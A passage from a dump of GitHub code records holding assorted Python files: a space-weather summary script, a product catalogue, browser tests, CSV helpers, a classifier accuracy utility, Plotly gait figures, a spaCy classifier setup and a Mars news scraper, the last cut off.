/1400.0 + ss / 86400.0\n\n return ydoy\n\n#-------------------------------------------------------------------------------\n#-- update_crm_html: update crm web site----------------------------------------\n#-------------------------------------------------------------------------------\n\ndef update_crm_html():\n \"\"\"\n update crm web site\n input none but read from /CRMsummary.dat\n output: /CRMsummary.html\n \"\"\"\n ifile = crm3_dir + '/Data/CRMsummary.dat'\n with open(ifile, 'r') as f:\n line = f.read()\n \n ifile = house_keeping + 'top_page_template'\n with open(ifile, 'r') as f:\n html = f.read()\n \n html = html.replace(\"#TEXT#\", line)\n \n ofile = html_dir + 'index.html'\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n ofile = test_out + \"/index.html\"\n with open(ofile, 'w') as fo: \n fo.write(html)\n\n#-------------------------------------------------------------------------------\n#-- convert_grathist_format: convert GRATHIST format --\n#-------------------------------------------------------------------------------\n\ndef convert_grathist_format():\n \"\"\"\n convert GRATHIST format\n input: none but read from: /proj/sot/acis/FLU-MON/GRATHIST-2001.dat\n output: /Data/grathist.dat\n \"\"\"\n\n ifile = '/proj/sot/acis/FLU-MON/GRATHIST-2001.dat'\n data = mcf.read_data_file(ifile)\n line = ''\n for ent in data:\n atemp = re.split('\\s+', ent)\n line = line + atemp[0].replace(':', ' ') + ' '\n if atemp[1] == 'HETG-IN':\n line = line + '1' + ' '\n else:\n line = line + '0' + ' '\n if atemp[2] == 'LETG-IN':\n line = line + '1' + ' '\n else:\n line = line + '0' + ' '\n line = line + atemp[3] + '\\n'\n\n ofile = crm3_dir + 'Data/grathist.dat'\n #for writing out files in test directory\n if (os.getenv('TEST') == 'TEST'):\n ofile = test_out + \"/grathist.dat\"\n with open(ofile, 'w') as fo:\n fo.write(line)\n\n\n#-------------------------------------------------------------------------------\n#---THIS IS NOT USED.... ---\n#-------------------------------------------------------------------------------\n\ndef read_crm_data():\n file1 = crmdat_root + '87'\n file2 = crmdat_root + '90'\n if os.path.isfile(file2):\n if os.stat(file1).st_size == os.stat(file2).st_size:\n new_crm = []\n for ent in crm_n_list:\n ifile = crmdat_root + ent\n data = mcf.read_data_file(ifile)\n new_crm.append(data)\n\n return new_crm\n else:\n return False\n\n\n#-------------------------------------------------------------------------------\n\nif __name__ == \"__main__\":\n\n create_crm_summary_table()\n \n","repo_name":"chandra-mta/Space_Weather_New","sub_path":"CRM3/Scripts/create_crm_summary_table.py","file_name":"create_crm_summary_table.py","file_ext":"py","file_size_in_byte":20907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27682253319","text":"products = [\n {\n 'product_id': 1,\n 'category_id': 2,\n 'name': 'Women\\'s Grommet Cutout Cropped Hoodie Top',\n 'description': 'Grommet eyelet cutout front high low hoodie for women',\n 'price': 29.99,\n 'stock_quantity': 50,\n 'image_url': 'https://ucarecdn.com/d588d187-585b-4be1-b1cf-6c0af9c19295/image1.jpg'\n },\n {\n 'product_id': 2,\n 'category_id': 1,\n 'name': 'Women\\'s Shirt Gown',\n 'description': 'Casual shirt gown for women',\n 'price': 49.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/19550ed8-d5c0-4314-b5e7-2500a814e393/image2.jpg'\n },\n {\n 'product_id': 3,\n 'category_id': 2,\n 'name': 'Women\\s Square Neck Cropped Top',\n 'description': 'Square neck cropped top for women',\n 'price': 19.99,\n 'stock_quantity': 40,\n 'image_url': 'https://ucarecdn.com/116f795d-2435-4aed-9636-151085cdbdb0/image3.jpg'\n },\n {\n 'product_id': 4,\n 'category_id': 1,\n 'name': 'Women\\'s Coperate Gown',\n 'description': 'Coperate black gown for women',\n 'price': 59.99,\n 'stock_quantity': 20,\n 'image_url': 'https://ucarecdn.com/997ce651-98ad-490d-8f0a-212f1b88835b/image4.jpg'\n },\n {\n 'product_id': 5,\n 'category_id': 2,\n 'name': 'Women\\'s Cropped Top',\n 'description': 'Classic different types of women cropped top',\n 'price': 17.99,\n 'stock_quantity': 60,\n 'image_url': 'https://ucarecdn.com/e832c63a-26d7-4bea-b211-c5d5635baed7/image5.jpg'\n },\n {\n 'product_id': 6,\n 'category_id': 4,\n 'name': 'Men\\'s Crochet Beanie Hat',\n 'description': 'Crochet black beanie hat for both men and women',\n 'price': 10.99,\n 'stock_quantity': 25,\n 'image_url': 'https://ucarecdn.com/1dd8105e-5077-432d-a647-238598d2fbbd/image6.jpg'\n },\n {\n 'product_id': 7,\n 'category_id': 4,\n 'name': 'Men\\'s Baggy Jean Trouser',\n 'description': 'Baggy jean trouser for men',\n 'price': 54.99,\n 'stock_quantity': 35,\n 'image_url': 'https://ucarecdn.com/654c4e07-f700-4089-9284-45ecac998bc4/image7.jpg'\n },\n {\n 'product_id': 8,\n 'category_id': 4,\n 'name': 'Men\\'s Baggy Jean Trouser',\n 'description': 'Baggy jean trouser for men',\n 'price': 49.99,\n 'stock_quantity': 15,\n 'image_url': 'https://ucarecdn.com/a679d759-df6c-4c82-84fc-411f4c3fdfcd/image8.jpg'\n },\n {\n 'product_id': 9,\n 'category_id': 5,\n 'name': 'Unisex\\'s Bricks Short Sleeves Sweater',\n 'description': 'Comfy bricks pattern short sleeves sweater',\n 'price': 59.99,\n 'stock_quantity': 45,\n 'image_url': 'https://ucarecdn.com/b45c3a17-34ed-4446-95e5-edc4a65dd2ad/image9.jpg'\n },\n {\n 'product_id': 10,\n 'category_id': 2,\n 'name': 'Women\\'s Boot Cut Jeans',\n 'description': 'Casual boot cut jeans for women',\n 'price': 29.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/80155b64-00db-4b30-b4ef-2ed0d973f9ad/image10.jpg'\n },\n {\n 'product_id': 11,\n 'category_id': 1,\n 'name': 'Women\\'s Waistcoat Gown',\n 'description': 'Coffee brown waistcoat gown for women',\n 'price': 39.99,\n 'stock_quantity': 25,\n 'image_url': 'https://ucarecdn.com/3d6dd783-eb68-4b8a-bda1-c615e28dda85/image11.jpg'\n },\n {\n 'product_id': 12,\n 'category_id': 2,\n 'name': 'Women\\'s Crochet Cropped Cardigan',\n 'description': ' Crochet granny square cropped cardigan for women',\n 'price': 74.99,\n 'stock_quantity': 35,\n 'image_url': 'https://ucarecdn.com/4e6edc38-0dab-4755-9754-dcf8493b5ddd/image12.jpg'\n },\n {\n 'product_id': 13,\n 'category_id': 1,\n 'name': 'Women\\'s Cropped Top And Palazzo Pants',\n 'description': 'Two-piece dress for women',\n 'price': 49.99,\n 'stock_quantity': 40,\n 'image_url': 'https://ucarecdn.com/dfd3b718-2300-456a-9da4-c8efb4011a99/image13.jpg'\n },\n {\n 'product_id': 14,\n 'category_id': 1,\n 'name': 'Women\\'s Coperate Pant Trousers',\n 'description': 'Different styles of cooperate pant trousers for women',\n 'price': 29.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/a59c6d79-1baf-412f-bf78-c7d7a7e31712/image14.jpg'\n },\n {\n 'product_id': 15,\n 'category_id': 2,\n 'name': 'Women\\'s Drawstrings Top',\n 'description': 'Elegant lilac drawstrings top for women',\n 'price': 19.99,\n 'stock_quantity': 20,\n 'image_url': 'https://ucarecdn.com/33973747-3d64-4523-862d-6a0b75514ea3/image15.jpg'\n },\n {\n 'product_id': 16,\n 'category_id': 2,\n 'name': 'Women\\'s Crochet Summer Gown',\n 'description': 'Stylish crochet summer gown for women',\n 'price': 44.99,\n 'stock_quantity': 40,\n 'image_url': 'https://ucarecdn.com/3c1981a6-2b4d-4f6c-9db0-4795bcb60b34/image16.jpg'\n },\n {\n 'product_id': 17,\n 'category_id': 1,\n 'name': 'Women\\'s Ribbed Slit Gown',\n 'description': 'Ribbed slit gown for women',\n 'price': 34.99,\n 'stock_quantity': 50,\n 'image_url': 'https://ucarecdn.com/edf2e316-8f79-4878-a178-3b2649edbe1c/image17.jpg'\n },\n {\n 'product_id': 18,\n 'category_id': 2,\n 'name': 'Women\\'s Cardigan And Gown',\n 'description': 'Cozy caridgan and gown for women',\n 'price': 199.99,\n 'stock_quantity': 25,\n 'image_url': 'https://ucarecdn.com/7c986b51-95eb-4270-b18c-d4cb09cde0ae/image18.jpg'\n },\n {\n 'product_id': 19,\n 'category_id': 2,\n 'name': 'Women\\'s Suade Gown And Cropped Sweater',\n 'description': 'Cozy suade gown and classic gown for women',\n 'price': 139.99,\n 'stock_quantity': 60,\n 'image_url': 'https://ucarecdn.com/2f3a4f1f-ccae-4935-99e5-55ec33a4b83f/image19.jpg'\n },\n {\n 'product_id': 20,\n 'category_id': 2,\n 'name': 'Women\\'s Sweatshirts',\n 'description': 'Summer sweatshirts for women',\n 'price': 24.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/f75b654e-f284-49dc-b98f-49e2fd04afdc/image20.jpg'\n },\n {\n 'product_id': 21,\n 'category_id': 5,\n 'name': 'Men\\'s Crochet Sweater',\n 'description': 'Multi coloured crochet sweater for men',\n 'price': 69.99,\n 'stock_quantity': 100,\n 'image_url': 'https://ucarecdn.com/ef6e71c6-3d83-468c-8585-73b0a8abaf0b/image21.jpg'\n },\n {\n 'product_id': 22,\n 'category_id': 2,\n 'name': 'Women\\'s White Maxi Dress',\n 'description': 'Bailey white maxi dress for women',\n 'price': 34.99,\n 'stock_quantity': 80,\n 'image_url': 'https://ucarecdn.com/69e6088e-624d-43a1-a92e-cce8de11b96f/image22.jpg'\n },\n {\n 'product_id': 23,\n 'category_id': 5,\n 'name': 'Men\\'s Crochet Sweater',\n 'description': 'Unique crochet sweater for men',\n 'price': 59.99,\n 'stock_quantity': 50,\n 'image_url': 'https://ucarecdn.com/4829106e-a8f0-407e-b5ed-bf2813767f05/image23.jpg'\n },\n {\n 'product_id': 24,\n 'category_id': 2,\n 'name': 'Women\\'s Square Neck Cropped Top',\n 'description': 'Nude square neck cropped top for women',\n 'price': 14.99,\n 'stock_quantity': 30,\n 'image_url': 'https://ucarecdn.com/c3ee804b-c098-446e-b936-7d8b52970144/image24.jpg'\n },\n {\n 'product_id': 25,\n 'category_id': 4,\n 'name': 'Men\\'s Cargo Trousers',\n 'description': 'Stylish men cargo trousers for men',\n 'price': 29.99,\n 'stock_quantity': 15,\n 'image_url': 'https://ucarecdn.com/c1fa9850-c2ff-49ae-a432-6195fddabf12/image25.jpg'\n },\n {\n 'product_id': 26,\n 'category_id': 5,\n 'name': 'Unisex\\'s Yin-yang Crochet Sweater',\n 'description': 'Elegant Yin-yang crochet sweater',\n 'price': 74.99,\n 'stock_quantity': 20,\n 'image_url': 'https://ucarecdn.com/f0856e74-65cf-409d-860c-c0680e8299c0/image26.jpg'\n }\n]\n\n\n","repo_name":"dennis-22-csc/FashionHub","sub_path":"models/products_info.py","file_name":"products_info.py","file_ext":"py","file_size_in_byte":8379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35088062686","text":"# import time\r\n#\r\n# from selene import browser, have\r\n# from selene.support.shared import config\r\n# from selene.support.shared.jquery_style import s, ss\r\n#\r\n# def test_itstep_count():\r\n# config.window_width = 1920\r\n# config.window_height = 1080\r\n#\r\n# browser.open('https://itstep.org/uk')\r\n# time.sleep(5)\r\n#\r\n# ss('.marker-city.cremenchug-small .marker-point').first.click()\r\n# page_text = browser.driver.page_source.lower()\r\n# count = page_text.count('it step')\r\n# print('Вираз it step повторюється:', count, 'рази')\r\n\r\nimport time\r\nfrom selene.api import browser, s, ss\r\n\r\n# def test_search_and_count():\r\n# browser.open('https://duckduckgo.com/')\r\n# s('[name=\"q\"]').type('шахтар').press_enter()\r\n# time.sleep(5)\r\n# ss(\".result__url\").element(2).click()\r\n#\r\n# page_text = browser.driver.page_source.lower()\r\n# word_to_count = \"шахтар\"\r\n# count = page_text.count(word_to_count)\r\n# print(f'Слово \"{word_to_count}\" зустрічається на сторінці {count} раз(ів)')\r\n# assert count > 0, f'Слово \"{word_to_count}\" не знайдено на сторінці'\r\n# browser.quit()\r\n\r\ndef test_duckduckgo_search():\r\n browser.open('https://duckduckgo.com/')\r\n browser.element('[name=\"q\"]').type('шахтар').press_enter()\r\n\r\n time.sleep(5) # wait for the page to load\r\n\r\n results = [elem.get_attribute('innerHTML') for elem in browser.all('.result__a')]\r\n\r\n count = sum(1 for result in results if 'шахтар' in result)\r\n\r\n assert count > 0\r\n","repo_name":"EdgarBet/pythonProject_test_Ecosia","sub_path":"tests/first_test.py","file_name":"first_test.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5385475470","text":"import csv\n\ndef writeToFile(dates, beginTimes, endTimes, locations, keywords):\n with open(\"eventOther.csv\", mode=\"w\") as employFile:\n writeObject = csv.writer(employFile,delimiter=',')\n writeObject.writerow([\"Date\", \"Start Time\", \"End Time\", \"Location\", \"Keywords\"])\n for i in range(len(dates)):\n writeObject.writerow([dates[i],beginTimes[i],endTimes[i],locations[i], keywords[i]])\n\n\ndef readFromFile(filename):\n with open(filename, mode = \"r\") as eventFile:\n readObj = csv.reader(eventFile, delimiter = \",\")\n it = 0\n data = []\n lineLen = 0\n for row in readObj:\n if it == 0:\n lineLen = len(row)\n for i in range(len(row)):\n data.append([row[i]])\n else:\n for i in range(lineLen):\n data[i].append(row[i])\n it += 1\n return data\n\n# print(readFromFile(\"event.csv\"))","repo_name":"kongmunist/CarnegieCalendar","sub_path":"archive/oldsurf/fileio.py","file_name":"fileio.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"31456468542","text":"#Author: Walid Daboubi\n#walid.daboubi@gmail.com\n\nimport numpy as np\nimport pymysql\n\nimport json\nfrom collections import OrderedDict\nfrom sklearn import tree,linear_model\n\n\ndef get_data_details(args):\n data = np.array(args)\n features=data[:len(args)-1]\n features = features.reshape(1,-1)\n labels=data[len(args)-1:] # 성능이 중요시 된다면 하드코딩해주세요\n return features, labels\n\ndef get_occuracy(labels,predic,fltr):\n real_label_count=0.0\n predicted_label_count=0.0\n correct_count = 0.0\n for real_label in labels: #실제 라벨의 수\n if real_label==fltr:\n real_label_count+=1\n\n for i, val in enumerate(predic):\n if val == fltr and val == labels[i]:\n correct_count+=1\n\n if val == fltr:\n predicted_label_count += 1\n\n\n tmp = 0.0\n target = 0.0\n for i, val in enumerate(predic):\n if(labels[i] == fltr):\n target+=1\n if(labels[i] == val):\n tmp+=1\n\n\n \"\"\"\n for predicted_label in predicted_labels:\n if predicted_label==fltr:\n predicted_label_count+=1\n \"\"\"\n\n #print (\"실제 공격 횟수:\"+str(real_label_count))\n #print (\"예측된 공격 횟수:\"+str(predicted_label_count))\n\n #정밀도 = precision\n #precision=predicted_label_count*100/real_label_count\n #precision = predicted_label_count* 100 / real_label_count\n precision = tmp * 100 / target\n # group_data\n file_data = OrderedDict()\n file_data['real_attack'] = str(target)\n file_data['predict_attack'] = str(tmp)\n file_data['precision'] = str(precision)\n print(json.dumps(file_data, ensure_ascii=False, indent=\"\\t\"))\n print(json.dumps(file_data))\n with open('/opt/was/tomcat9/webapps/Xerops/data/xerops_learning.json', 'w', encoding='utf-8') as make_file:\n json.dump(file_data, make_file, ensure_ascii=False, indent=\"\\t\")\n return precision\n","repo_name":"DoSangWon/Xerops-Python","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2242713461","text":"\"\"\"\nPlotly figures used by the Dash app\n\nAll figures used in the app are defined in this module. Includes the\n3D pose viewer, the angle trajectory, the average stride and the \nphase space diagram\n\"\"\"\n\nimport plotly.graph_objs as go\nimport plotly.express as px\n\nimport pandas as pd\nimport numpy as np\n\ndef frame_args(duration, redraw=True, transition=False):\n return {\n \"frame\": {\"duration\": duration, \"redraw\": redraw},\n \"mode\": \"immediate\",\n \"fromcurrent\": True,\n \"transition\": {\"duration\": 0},\n }\n\ndef create_skeleton_fig(pose_3d, skeleton=None, joints=None, \n eye=None, fps=50, height=550):\n if skeleton is None:\n skeleton = [-1, 0, 1, 2, 0, 4, 5, 0, \\\n 7, 8, 9, 8, 11, 12, 8, 14, 15]\n if joints is None:\n joints = \"MHip, RHip, RKnee, RAnkle, LHip, LKnee, \\\n LAnkle, Spine, Neck, Nose, Head, LShoulder, \\\n LElbow, LWrist, RShoulder, RElbow, RWrist\".split(\", \")\n\n if eye is None:\n eye = dict(x=-1.0, y=3.0, z=.5)\n \n lines = {'frame': [], 'joint': [], 'x':[], 'y':[], 'z':[]}\n for f in range(len(pose_3d)):\n for j in range(len(joints)):\n p = skeleton[j]\n if p != -1:\n lines['frame'].extend([f]*3)\n lines['joint'].extend([joints[j], joints[p], None])\n for i, c in enumerate(list('xyz')):\n lines[c].append(pose_3d[f, j, i])\n lines[c].append(pose_3d[f, p, i])\n lines[c].append(None)\n pose_df = pd.DataFrame.from_dict(lines)\n \n # Create figure\n frames = [go.Frame(\n name=str(frame),\n data=[go.Scatter3d(x=df['x'], y=df['y'], z=df['z'],\n mode='markers+lines', line_width=5,\n marker_size=5,\n hovertemplate= '%{text} '+\n 'x : %{x:.3f} '+\n 'y : %{y:.3f} '+\n 'z : %{z:.3f} '+\n ' ',\n text = df['joint']\n )])\n for frame, df in pose_df.groupby('frame')]\n \n sliders_dict = {\n \"active\": 0,\n \"yanchor\": \"top\",\n \"xanchor\": \"left\",\n \"currentvalue\": {\n \"font\": {\"size\": 15},\n \"prefix\": \"Frame:\",\n \"xanchor\": \"right\"\n },\n \"pad\": {\"b\": 10, \"t\": 15},\n \"len\": 0.7,\n \"x\": 0.2,\n \"y\": 0,\n \"steps\": [{\n \"args\": [\n [frame], frame_args(0)\n ],\n \"label\": frame,\n \"method\": \"animate\"}\n for frame in range(0, len(pose_3d)+1, 10)]\n }\n\n layout=go.Layout(\n template='plotly_dark',\n plot_bgcolor='rgba(0, 0, 0, 0)', # transparent background\n paper_bgcolor='rgba(0, 0, 0, 0)',\n margin=dict(l=0, r=0, b=0, t=0), # tight layout\n scene = go.layout.Scene( # scene dimension\n xaxis=dict(range=[-.75,.75], autorange=False, zeroline=False),\n yaxis=dict(range=[-.75,.75], autorange=False, zeroline=False),\n zaxis=dict(range=[-0.2, 2], autorange=False, zeroline=False),\n aspectratio=dict(x=1, y=1, z=2.),\n ),\n scene_camera=dict(\n eye=eye,\n ),\n hovermode=\"closest\",\n height=height, #width=400,\n sliders=[sliders_dict],\n updatemenus=[{\n \"buttons\":[{\n \"args\": [None, frame_args(1./fps)],\n \"label\": \"▶\", # play symbol\n \"method\": \"animate\"\n },\n {\n \"args\": [[None], frame_args(0)],\n \"label\": \"◼\", # pause symbol\n \"method\": \"animate\"\n }],\n \"direction\": \"left\",\n \"pad\": {\"r\": 10, \"t\": 40},\n \"showactive\": False,\n \"type\": \"buttons\",\n \"x\": 0,\n \"xanchor\": \"left\",\n \"y\": 0,\n \"yanchor\": \"top\"\n }]\n )\n\n return go.Figure(data=frames[0].data, layout=layout, frames=frames)\n\ndef create_angle_figure(angles, gait_cycles=[], joint='Knee'):\n names = ['Right '+joint, 'Left '+joint]\n fig = go.Figure()#make_subplots(2, 1, shared_xaxes=True)\n for i in range(len(names)):\n fig.add_trace(\n go.Scatter(\n y=angles[:,i],\n name=names[i], meta=names[i],\n hovertemplate= '%{meta}: %{y:.1f}°'+\n ' '\n )#, i+1, 1\n )\n #fig.update_yaxes(matches='y')\n fig.update_layout(\n dragmode= 'pan', \n xaxis=dict(range=[0,300], title='Frame', zeroline=True, \n spikedash= \"dash\", spikecolor= \"white\",), \n yaxis=dict(fixedrange=True, title='Knee Extension/Flexion', zeroline=True),\n margin=dict(l=10, r=10, b=10, t=10),\n hovermode=\"x unified\",\n template='plotly_dark',\n paper_bgcolor='rgba(0, 0, 0, 0)',\n hoverlabel_bgcolor='black',\n legend=dict(\n x=0.01,\n y=0.98,\n traceorder=\"normal\",\n bgcolor = 'black',\n ),\n newshape=dict(line_color='#B2FF66', line_width=2,\n fillcolor='rgba(178, 255, 102, 0.5)'),\n )\n fig.add_vrect(\n x0=0, x1=15, fillcolor='grey', layer='below', opacity=0.3, line_width=0, \n #row=\"all\", col=1\n )\n for x in gait_cycles:\n fig.add_vline( x=x, line_color=\"orange\", line_dash=\"dot\")\n return fig\n\n\ndef create_stride_figure(angles, norm_data=None, joint='Knee'):\n names = ['Right '+joint, 'Left '+joint]\n norm_color = 'rgba(162,162,162,0.5)'\n fig = go.Figure()\n\n for i in range(len(names)):\n fig.add_trace(\n go.Scatter(\n y=angles[i], name=names[i], meta=names[i],\n hovertemplate= '%{meta}: %{y:.1f}° '\n )\n )\n\n if norm_data is not None:\n mean = norm_data[:, 0]\n std = norm_data[:, 1]\n min_norm = mean - std\n max_norm = mean + std\n x = np.arange(len(mean))\n fig.add_trace(\n go.Scatter( x=np.concatenate([x, x[::-1]]), \n y=np.concatenate([max_norm, min_norm[::-1]]), \n fill='tozerox', showlegend=False, mode='none',\n hoverinfo='skip', legendgroup='Norm', fillcolor=norm_color)\n )\n fig.add_trace(\n go.Scatter(y=mean, name='Norm value', meta='Norm value',\n legendgroup='Norm', line_color=norm_color,\n hovertemplate= '%{meta}: %{y:.1f}° ')),\n fig.update_layout(\n dragmode= 'pan', \n xaxis=dict(range=[0,100], fixedrange=True, title='% Gait Cycle',\n spikedash= \"dash\", spikecolor= \"white\",), \n yaxis=dict(fixedrange=True, title='Avg. Knee Extension/Flexion'),\n margin=dict(l=10, r=10, b=10, t=10),\n hovermode=\"x unified\",\n template='plotly_dark',\n paper_bgcolor='rgba(0, 0, 0, 0)',\n hoverlabel_bgcolor='black',\n legend=dict(\n x=0.01,\n y=0.99,\n traceorder=\"normal\",\n bgcolor = 'black'\n ),\n newshape=dict(line_color='#B2FF66', line_width=2,\n fillcolor='rgba(178, 255, 102, 0.5)'),\n )\n return fig\n\ndef create_phase_space_reconstruction(trajs):\n names = ['Right', 'Left']\n fig = go.Figure()\n for i in range(len(trajs)):\n fig.add_trace(\n go.Scatter3d(\n x=trajs[i, 0], y=trajs[i, 1], z=trajs[i, 2],\n mode='lines', name=names[i]\n )\n )\n fig.update_layout(\n scene_camera=dict(\n eye=dict(x=0.4, y=-1.8, z=0.4),\n ),\n margin=dict(l=0, r=0, b=10, t=5),\n hovermode=\"x unified\",\n template='plotly_dark',\n paper_bgcolor='rgba(0, 0, 0, 0)',\n hoverlabel_bgcolor='black',\n height=350,\n legend=dict(\n x=0.01,\n y=0.98,\n traceorder=\"normal\",\n bgcolor = 'black',\n ),\n )\n return fig\n\n","repo_name":"kamisoel/DigiGait","sub_path":"dash_app/figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":8363,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"5320950502","text":"import csv\r\nimport time\r\ntic = time.clock()\r\nRd = open(\"autos.csv\",\"r\")\r\nFd = list(csv.reader(Rd))\r\nNd = []\r\nfor i in range(1,len(Fd)):\r\n Bl = [float(Fd[i][4]),float(Fd[i][11]),float(Fd[i][9])]\r\n Nd.append(Bl)\r\n\r\nTrainingdata = Nd[0:int((0.75*len(Fd)))]\r\nTestingdata = Nd[int((0.75*len(Fd))):]\r\nprint(len(Fd))\r\nprint(len(Trainingdata))\r\nprint(len(Testingdata))\r\ntoc = time.clock()\r\nn = toc - tic\r\nprint(n)","repo_name":"nvk0x/Car-price-prediction","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16215063040","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n'''\r\nSample Input\r\nSTDIN Function\r\n----- --------\r\n1 t = 1\r\n5 n = 5\r\nebacd grid = ['ebacd', 'fghij', 'olmkn', 'trpqs', 'xywuv']\r\nfghij\r\nolmkn\r\ntrpqs\r\nxywuv\r\n\r\nSample Output\r\nYES\r\n\r\n# Complete the 'gridChallenge' function below.\r\n#\r\n# The function is expected to return a STRING.\r\n# The function accepts STRING_ARRAY grid as parameter.\r\n#\r\n'''\r\n\r\ndef gridChallenge(grid):\r\n # Write your code here\r\n grid = [list(row) for row in grid]\r\n n = len(grid[0])\r\n for row in grid:\r\n row.sort()\r\n for j in range(n):\r\n for i in range(n - 1):\r\n if grid[i][j] > grid[i+1][j]:\r\n return \"NO\"\r\n return \"YES\"\r\n\r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n t = int(input().strip())\r\n\r\n for t_itr in range(t):\r\n n = int(input().strip())\r\n\r\n grid = []\r\n\r\n for _ in range(n):\r\n grid_item = input()\r\n grid.append(grid_item)\r\n\r\n result = gridChallenge(grid)\r\n\r\n fptr.write(result + '\\n')\r\n\r\n fptr.close()\r\n","repo_name":"adnaneaabbar/HackerRankOneMonthPrepKit","sub_path":"week2/grid_challenge.py","file_name":"grid_challenge.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"32450983097","text":"import pandas as pd\nimport spacy\nfrom spacy.tokens import DocBin\nfrom tqdm import tqdm\nfrom spacy.cli import download\ndownload(\"en_core_web_trf\")\n\nclass SpacySetup:\n def __init__(self, data: pd.DataFrame, spacy_model: str = None, build_docs=False):\n if spacy_model:\n self.nlp = spacy.load(spacy_model)\n else:\n self.nlp = spacy.load(\"en_core_web_trf\")\n\n self.data = data\n self.zipped_data = self.zip_dataset()\n if build_docs:\n self.spacy_docs = self.make_spacy_docs()\n\n def __repr__(self):\n return self.data\n\n def zip_dataset(self):\n zipped_data = tuple(\n zip(\n self.data[\"Title\"].tolist(), self.data[\"Conference\"].tolist()\n )\n )\n return zipped_data\n\n def make_spacy_docs(self):\n docs = []\n\n for doc, label in tqdm(self.nlp.pipe(self.zipped_data, as_tuples=True)):\n if label == 'ISCAS':\n doc.cats[\"ISCAS\"] = 1\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'INFOCOM':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 1\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'VLDB':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 1\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'WWW':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 1\n doc.cats[\"SIGGRAPH\"] = 0\n\n elif label == 'SIGGRAPH':\n doc.cats[\"ISCAS\"] = 0\n doc.cats[\"INFOCOM\"] = 0\n doc.cats[\"VLDB\"] = 0\n doc.cats[\"WWW\"] = 0\n doc.cats[\"SIGGRAPH\"] = 1\n\n docs.append(doc)\n return docs\n\n\nif __name__ == \"__main__\":\n reviews = pd.read_csv(\"data.csv\")\n model = SpacySetup(reviews, build_docs=True)\n\n doc_bin = DocBin(docs=model.spacy_docs[:1500])\n doc_bin.to_disk(\"data/train.spacy\")\n\n doc_bin = DocBin(docs=model.spacy_docs[1500:])\n doc_bin.to_disk(\"data/valid.spacy\")\n","repo_name":"Mtaylert/nlp_research","sub_path":"spacy_classifier/reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9868766724","text":"import urllib.parse as parse\n\ndef to_canvas(latex, inline = False):\n '''Converts Latex expression to canvas used class.'''\n model = ' ' \n out = model.format(latex.replace('&','&'),parse.quote(parse.quote(latex.replace('&','&'), safe='()'), safe='()&'))\n if not inline:\n out = '
' + out + ''\n return out\n\nprint(to_canvas(r\"{\\mathbb P}[X>0.38]\"))","repo_name":"jneem/M362M","sub_path":"code/latex_to_canvas.py","file_name":"latex_to_canvas.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11551453125","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport pandas as pd\nimport codecs\n\ndef scrape_info():\n executable_path = {'executable_path': ChromeDriverManager().install()}\n browser = Browser('chrome', **executable_path, headless=False)\n\n url = 'https://redplanetscience.com/'\n browser.visit(url)\n\n html = browser.html\n soup = BeautifulSoup(html, 'html.parser')\n articles = soup.find_all('div', class_='col-md-8')\n\n # # Iterate through each book\n for article in articles:\n # Use Beautiful Soup's find() method to navigate and retrieve attributes\n news_date=article.find('div', class_=\"list_date\").text\n news_title = article.find('div', class_=\"content_title\").text\n news_p = article.find('div', class_=\"article_teaser_body\").text\n break\n\n url = 'https://spaceimages-mars.com/'\n browser.visit(url)\n\n # HTML object\n html = browser.html\n # Parse HTML with Beautiful Soup\n soup = BeautifulSoup(html, 'html.parser')\n # Retrieve all elements that contain book information\n images = soup.find_all('a', class_='fancybox-thumbs')\n\n # # Iterate through each book\n for image in images:\n # Use Beautiful Soup's find() method to navigate and retrieve attributes\n featured_image_url=f\"https://spaceimages-mars.com/{image['href']}\"\n\n print(featured_image_url)\n\n break\n\n url = 'https://galaxyfacts-mars.com/'\n\n 